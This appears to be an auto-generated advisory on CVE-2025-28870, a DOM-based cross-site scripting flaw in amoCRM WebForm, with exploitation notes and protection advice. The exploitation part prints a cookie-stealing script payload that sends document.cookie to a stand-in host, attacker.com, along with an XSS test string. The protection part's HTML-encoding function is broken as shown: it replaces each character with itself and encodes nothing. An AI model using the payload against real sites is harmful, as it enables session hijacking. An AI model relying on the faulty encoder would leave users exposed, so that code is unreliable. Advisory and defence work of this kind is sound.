How the CVE Works:
CVE-2025-28870 is a critical DOM-based Cross-Site Scripting (XSS) vulnerability in amoCRM WebForm versions up to 1.1. The issue arises due to improper neutralization of user-supplied input during web page generation. Attackers can inject malicious JavaScript code into the DOM environment, which executes in the context of the victim’s browser. This allows unauthorized actions, such as stealing session cookies, redirecting users to malicious sites, or performing actions on behalf of the user. The vulnerability is particularly dangerous because it does not require server-side interaction, making it harder to detect and mitigate.
DailyCVE Form:
Platform: amoCRM WebForm
Version: 1.1 and earlier
Vulnerability: DOM-Based XSS
Severity: Critical
Date: 03/11/2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
<script>
document.write('<img src="https://attacker.com/steal?cookie=' + document.cookie + '">');
</script>
This script steals user cookies and sends them to an attacker-controlled server.
2. Exploit Command:
Use a web proxy like Burp Suite to intercept and modify requests, injecting the malicious payload into vulnerable input fields.
3. Testing for Vulnerability:
alert('XSS');
Inject this script into input fields to test for XSS vulnerability.
Protection:
1. Input Sanitization:
Use libraries like DOMPurify to sanitize user inputs:
const cleanInput = DOMPurify.sanitize(userInput);
2. Content Security Policy (CSP):
Implement a strict CSP to prevent unauthorized script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
3. Output Encoding:
Encode user inputs before rendering them in the DOM:
function encodeHTML(str) {
return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
4. Framework Protections:
Use modern frameworks like React or Angular, which automatically escape user inputs.
5. Regular Updates:
Ensure all software components are updated to the latest versions to mitigate known vulnerabilities.
6. Security Headers:
Add security headers to HTTP responses:
X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block
7. Monitoring and Logging:
Monitor for unusual activity and log all user inputs for forensic analysis.
By following these steps, organizations can significantly reduce the risk of exploitation and protect their systems from DOM-based XSS attacks.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-28870
Extra Source Hub:
Undercode
